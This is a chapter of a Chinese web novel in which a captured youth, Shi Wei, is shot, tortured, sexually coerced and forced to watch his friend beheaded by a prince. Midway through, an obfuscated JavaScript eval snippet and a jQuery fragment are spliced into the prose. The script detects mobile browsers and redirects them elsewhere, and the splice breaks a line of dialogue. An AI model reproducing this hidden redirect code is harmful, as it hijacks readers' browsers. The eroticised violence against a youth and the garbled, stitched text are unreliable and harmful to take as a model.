150.造反后放飞笼中雀鸟(四十九)
作品:《炮灰演绎手册I》 这是一处废铁场,空气中弥漫着难闻的机油味,混着金属的腥气灌进肺里,像刀片一般割着气管,是刺刺的疼。
垃圾星上的风冷得能穿进骨头。
时微的手指按在地上,白雪般的指尖拢着尘灰和血痕,指骨用力顶起,有点颤抖。
浅金的眼睛死死盯着迎面走来的几人,瞳孔几乎缩成针尖大小,时微咬了下唇,撑着地站了起来。
呼啸的风吹起宽大的衣角,他现在狼狈得可怜。
里斯停住脚步,默不作声地欣赏了一番眼前的景象,唇角带上些不甚明显的弧度:“抓到了。”
语气没有半分笑意。
时微抓着领口,雪色的发丝在风中扬起,他是这片黑灰中唯一的白。
“现在,过来。我还可以对你温柔点。”里斯唇边的笑彻底隐去,他朝时微伸出手。
时微眨了下眼,唇瓣像干枯的玫瑰花瓣,透着点颓靡又美艳的死气。
他的手指神经质地痉挛了下,扬起下巴看向前方。
视线穿过里斯的身体,时微看见了卡哈尔和他身后黑压压的士兵。
似乎已经是穷途末路了。时微低下头去,瘦弱的肩膀颤动着,像在默不作声的哭泣。
里斯站在原地等着他。
他看着那个纸片一样单薄的年无声无息地颤抖,慢慢地弯下腰身蹲在地上,无助地环抱住自己。
心上涌出一点莫名的不对劲,里斯皱了下眉,突然反应过来什么,连忙调出防护屏罩,下一秒,巨响的爆音在他耳边轰然炸开——
尘灰飞扬,里斯的表情瞬间难看至极,他从滚滚浓烟中走出来后,只能看见时微跌跌撞撞往前奔逃的背影。
“哈。”里斯气到极点竟然笑出了声,齿间像在碾磨着时微颈肩的血肉一般,凶狠至极,“不知好歹的小婊子。”
时微拼命往前跑着,这片巨大的铁山似乎没有尽头。
他的身体虚弱得厉害,眼前开始出现片片虚影,喉头也漫上一点血腥气。
少年无力地咳了几下,脚下一个不稳,瘦削的肩在风中晃动一下,眼见就要摔倒时,一只手从旁边扶住了他。
时微颤了颤眼睫,慌张地抬头,看清眼前的人是满脸血的维克后,他的心重重往下一沉。
“维克……”时微想让他快跑,说话时感受到了什么,连忙转头。
在看见举枪对着维克的里斯后,时微瞳孔一缩,用力将维克推了出去。
他往后踉跄着,因为刚刚的力道脚下不稳摔在地上,只是还没等他爬起,冰冷的枪口再次对准维克。
不止是里斯,卡哈尔甚至举起了光炮,完全没有给维克留下活路。
正当二人准备扣下扳机把这个总是让他们嫉妒恼恨的青年送下地狱时,一抹雪白的身影挡住了他们的视线。
卡哈尔险险收住了手,里斯却已经按下了扳机。
血红的花在少年的肩头绽开,时微紧紧抱着维克,单薄的身体因为剧痛颤抖着,他弱弱地吸着气,发出一点难忍的泣音。
维克像是愣住了,生锈的大脑隔了几瞬才反应过来发生了什么,他连忙拉住时微的手,急声道:“谁让你给我挡了?!”
青年手忙脚乱地去捂少年的伤口,满脸惊慌:“痛不痛?让我看看!”
怎么可能不痛。
时微疼得眼前漆黑一片,温热的血一股股地从子弹射进的地方涌了出来。
耳边响起恼火的咒骂,似乎有什么东西擦着他的身体摔在地上,怀抱着他的温暖也被人扯开,时微的下巴突然一痛,巨钳般的手牢牢掐着他,似乎要将那尖尖的骨头掐碎。
咬牙切齿的声音在头上响起,时微透过泪光朦胧的眼看见里斯扭曲的脸。
“你就这么在意他?为了他命都可以不要?!”
晶莹的泪从少年眼中一颗颗地滚了出来,那双秾艳的唇因为失血瞬间苍白,时微抽泣着,声音沙哑:“不要、不要杀他……”
他明明疼得全身都在抖,偏偏还要出口替别人求情。
里斯只觉得酸胀的怒焰充满胸腔,他掐着时微的下巴,怒极反笑,“好,好。”
连说了几个好字,男人骤然俯身,重重吻住了少年的唇。
时微下意识抗拒挣扎,肩膀上的枪伤让他没有半点反抗的力气。
少年呜咽着,细弱的睫不住地抖。
“放开他!”被士兵按在地上的维克嘶声怒吼。
里斯掌住时微逐渐软下的身体,将那截细瘦的腰圈进怀里,置若罔闻。
维克赤红着眼,还要再骂,鼻骨被猛地重击,几乎是毁灭的力道。
卡哈尔一脚将他踹在地上,对着他的脸补了几脚,将维克直接踹晕过去。
鞋底在那张脸上狠狠碾压,卡哈尔狠狠面无表情地移开脚,鞋子踩在垃圾星的地面上,留下刺眼的鲜红,和时微落下的血迹混在一起。
时微听到动静,红肿的眼皮轻轻掀起,无力地看向维克的方向,又被人按住肩膀。
可怜的白鸽被人捆住双脚带回飞船,又有人将像条死狗的维克拖了上去。
垃圾星又恢复了一片死寂,只有刺目的血红默默地诉说着刚刚发生的一切。
不知过了多久,直到血迹开始氧化发黑,几双破烂的鞋踩上这片糟污。
看着一片狼籍的废铁山,几道流里流气的声音咒骂抱怨着,最后还是认命地收拾起来。
“哪个狗日的自己没家跑我们在这撒野。”一个身形壮硕的年轻人骂骂咧咧。
穿着破汗衫的秦霄拧着眉头,用鞋翻过几片金属残骸,不知看到了什么,他的面色突然一凝,寒声道:“帝星的人来过了,这些天先别来这里,回去等我消息。”
还在收拾的几人停住动作,面面相觑。
有人干笑着道:“哪能啊,帝星的人真这么有本事?我们啥都没干呢他们就能知道了?”
秦霄只是冷冷一瞥,那人瞬间噤声。
男人沉沉吸了一口气。
他抬头看向漆黑的天幕。
这里是垃圾星,是永远不会天亮的星球。
贫穷、饥饿和死亡在这颗星球上时时刻刻地发生着,孩子们在臭水沟中光着脚丫子跑,还要时刻提防异虫的捕食。
然而,就在几个星系外。
秦霄握紧了拳。
有人夜夜笙歌,在金碧辉煌的宫殿中纵情声色。
皇宫的长廊中,灯光明亮,照在墙壁上折出冰冷的光。
里斯用治疗仪愈合了他的枪伤,失去的血液却无法在短时间内恢复。
少年苍白着脸,被扯着衣领往前拖拽。
佣人们都被驱散,走廊两侧只肃立着皇室的亲卫。
“嘭!”
挟着暴怒的一脚,里斯踹开紧闭的大门,拽着时微的衣服将他丢了进去。
瘦弱的身体磕在坚硬的石面,时微摔在地上,单薄的衣服滑了下来,露出他染着点点痕迹的肩胛。
手肘和膝盖很快泛出青色,他像只被人丢回笼子的雀鸟,沉重的大门在他眼前大力合上,切断了他所有逃跑的可能。
时微用发软的手臂撑起身体半跪在地上,视线茫然地扫过四周。
空旷的室内站着几个人,艾丹,卡哈尔,还有那个被他敲了闷棍的陌生人。
时微的目光突然一顿,落在满脸是血、不知生死的维克上。
他抖着手往前膝行几步,肩上突然传来一阵大力,将他踩了回去。
冰凉又锋利的东西落在他裸露的足踝上,时微茫然地睁着眼睛,似乎不明白将要发生什么。
头发被猛地拽起,里斯毒蛇般阴郁的声音回荡在他耳边:“小婊子,你真能跑。”
“为了抓你回来,真是废了我们不少力气。”
这是里斯动了真格的怒气。
现在的他看起来甚至比卡哈尔还要可怕。
时微纤长的颈项被迫扬起,幼嫩脆弱的喉结颤抖着,发出濒死的呜咽。
“是不是只有彻底废了你这双手脚,才能让你学乖一点,嗯?”
少年缓慢地眨了下眼,他似乎明白了什么,突然开始挣扎起来。
眼泪断线般地从那双潋滟的眼中溢出,时微似乎明白过来什么,微弱地挣扎了一下。
寒光闪过。
“啊啊啊啊——!!”
凄厉的惨叫瞬间响彻整个皇宫。
连厚重的门都无法挡住泣血般的惨叫。
时微身上洒满鲜血,不堪一折的四肢无力地躺在血泊内。
他痛得脊背都在抽搐,蝴蝶骨上下起伏,惨白的唇败叶般地翕张着,那双曾经快乐又漂亮的眼中盛着惨绝人寰的痛苦。
“呜……呜呜……咳……”剧烈的疼痛让他开始不住干咳,像是下一秒就要断气。
雪白的发丝被冷汗沾湿,纤修的手腕脚踝上横亘着深可见骨的伤。
卡哈尔拿过治疗仪,浅浅将表层的伤口治愈一点,让时微不至于失血过多。
“咳咳……”时微流着泪,无力地想往旁边躲开,手臂和腿却使不上半点力气。
少年的哭泣声嘶力竭,站在走廊外侧的亲卫都忍不住露出怜悯的神色。
维克被时微幼兽般的尖叫惊醒,他忍着混沌的疼痛,努力睁开肿成一条缝的眼,透过层层重影看见时微颤抖的身体。
“……小微?”维克往前蠕动一下,“小微!你怎么了?小微!”
时微呜呜哭泣着,像是即将断气的小动物般,无比可怜。
他抽泣着,磨磨蹭蹭地挪向维克。
过载的剧痛让他彻底停止了思考,下意识地依赖自己亲近的人。
里斯在挑断时微手筋后就后悔了,只是看着抽抽噎噎爬到维克身边,将自己缩成小小一团的时微,那点后悔瞬间被灼烈的妒恨盖了过去。
“你们对他做了什么?!你们这群猪狗不如的畜生人渣都对他做了什么?!!”
里斯冷着脸走到维克面前,在青年青筋迸起暴怒咆哮质问他的时候一脚踹在男人胸口,将维克踹出几米远后又拖回来,一拳一拳砸在青年脸上。
血肉横飞,维克的牙被打掉几颗,怒吼声也渐渐平息下去。
时微模糊的意识终于恢复了几分清醒,他看着竹马被往死里殴打,自己却连站起来的能力都没有。
瘦薄的胸膛趴伏在地上,腰肢下塌,弱态纤纤,他狼狈地哭泣着,仿佛终于崩溃,哀求般地呢喃:“不要打了……不要再打维克了……”
眼前突然投下一片阴影,时微睁着滚烫的泪眼抬头看去,下巴便被冰冷的鞋尖抬起。
那个曾经被他拿铁棍放倒的男人站在他的面前,嘴角勾着抹玩味的笑,唏嘘道,“啧啧,真可怜。”
他的表情可不像是同情的意思,男人瞥了眼旁边被打得像摊烂泥的维克,嗤笑了声:“之前不是挺威风的?嗯?敲我闷棍我敲得很开心?”
时微的眼泪啪嗒啪嗒地往下掉,那张失血过多的唇颤抖着,一言不发。
格雷文看着他,眼神莫名暗沉了些,笑容也消失了。
他犀利的眼盯着时微,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772623|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像猎人锁定自己的猎物。
那种莫名的兴奋再次涌上他的小腹,格雷文舔了舔齿根,喑哑道:“...,我就让里斯停下。”
时微被他露骨粗俗的话吓得小脸发白。
他颤着眼睫看向格雷文,从那双暗沉的眼中看不到任何玩笑的痕迹。
少年像是明白了什么,他抖着伸出手去,却被男人“啪”的一声打开。
红色的掌印落在那双布着伤痕和血迹的手上,让时微看起来更加可怜。
他茫然地抬起眼,看见格雷文似笑非笑地看着他。
……
……
像是终于餍足,里斯整理了下衣服,凉薄的眼扫过维克。
时微就是为了这么一个废物放低姿态迎合他,里斯凉凉地笑了一下。
信守承诺?皇室的人从来没有承诺。
更何况,他可从来没有答应过时微会放过维克。
只要想到维克在少年心上占据了多么重要的位置,里斯就觉得一阵火起。
他几步走到青年面前。
维克被血糊了满脸,只能看见一双赤红仇恨的眼睛。
里斯轻蔑地笑了一下,缓缓抽出长刀。
刀面在灯下折出一道冰冷的白光,在奄奄一息的少年眼底闪过。
时微呛咳一声,他的手脚还流着血,颤抖着从地上跪了起来,瘦弱的脊背瞧着像是将要折断。
纤细的五指现在沾满血和污浊,时微拖着这样的身体,一步步爬到里斯身边,跪伏在男人脚下,发丝委顿在地。
无力又孱弱的少年贴着皇子的靴面,扯住他的裤脚,喃喃哀求着:“求你……求你……”
他仰起脸,黏湿的睫羽颤抖着,很快又落下细细的泪珠。时微眼底通红,这样接近绝望的憔悴让他美的惊人。
红肿的唇瓣张合着,唇角青紫,沾着点血迹,时微哽咽着求饶:“求你……放过他……我、我再也不跑了,呜……我什么都不要了……”
“请放过我的朋友,殿下……请……请随意地玩弄我……”
被弄得那么惨烈也从没开口求饶过的少年,终于低下了他柔美的颈项。
他的嗓音沙哑又动人。已经看不出人形的维克目眦欲裂,眼底的血丝根根暴起。
男生无能地嘶吼着,发出啊啊的叫喊,再次被踹倒在地,这次连爬起来的力气都没有了。
他只能流着泪,痛恨自己的无能为力。
时微偏过眼,泪眼朦胧间只能看见竹马血肉模糊的身体,他颤抖着,柔弱的手指松开男人的衣摆,小心挪动着爬向维克。
肩膀却被军靴踩住,支撑着身体的最后一丝力气也消失了,里斯残忍的声音在上方响起:“朋友?”
军靴往下,踢着瘦削的肩膀将时微翻过身来,鞋尖挑起尖尖的下巴,里斯看着那张可怜无助的脸,戏谑问道:
“你是不是真的认为我看不出你那所谓朋友那双肮脏的眼睛里,浓得几乎要流出来的爱慕和觊觎?”
时微只是哭,晶莹的泪珠划过他被染得脏污一片的脸颊,最后滴落在男人的靴面上。
“殿下……求你……真的,求你了……”
里斯并不觉得高兴。
相反,怒火快要烧断他的神经。
男人冷笑一声,站直身体后,将那把长刀高高扬起。
长刀落下的过程在时微眼中及其缓慢,慢到他觉得这几乎是自己生命的尽头。
他转过头,直直看着维克,手指无意义地痉挛了下。
维克也在看他,和他一起长大的竹马此时看向他的眼神充满深情。
这是时微第一次在维克的眼中看到这样赤裸的爱意。
他看见维克糊着血的嘴蠕动一下,张开的口型中,无声描摹出几个温柔的字——
“我——”
“爱——”
“你——”
时微睁大眼睛。
他哭喊着朝自己的竹马伸出手,几乎和血液一样滚烫的眼泪喷涌而出,几双铁镣般的大掌按住他,又有人掰过他的脸,强迫他看着眼前的一幕。
刀锋斩下。
维克的头颅掉落在地,温热的血喷在时微的脸上,像在雪地里里开出了一朵姣艳的花。
他愣愣地看着,直到竹马的头滚到他的膝边,时微像被猛然惊醒,撕心裂肺地痛哭起来。
“啊啊啊——!!”
这是比被挑断筋脉时更凄惨的哭叫。
看着时微哭得近乎晕厥,呆呆站在旁边的布兰德下意识上前一步。
“噗哧。”旁边突然有人笑出了声,他僵直着脖子扭过头,看见艾丹脸上挂着近乎扭曲的笑意。
被压抑许久的愤怒猛地冲上脑门,布兰德一拳将艾丹打退几步,又拎起他的衣领,近乎怒吼:“你他妈在笑什么?!”
艾丹脸上瞬间浮现出骇人的青紫,他对布兰德的话听而不闻,只是直勾勾地看着时微,笑道:“终于死了。”
那个占据了时微心中最特殊的存在终于死了。
布兰德咬牙又给了他几拳,艾丹闷哼几声,嘲讽道:“别装了,你难道就不高兴?”
“维克死了,最大的阻碍也消失了。”艾丹的话仿佛恶魔一般,“你难道就不想代替他的位置,成为时微最重要的人?”
布兰德如遭雷劈。
他愣愣地放开艾丹的领子,视线飘忽着不敢落在时微身上。
——因为现在的他,连再看一眼时微都心虚。
布兰德踉跄着退后几步,推门跑了出去。

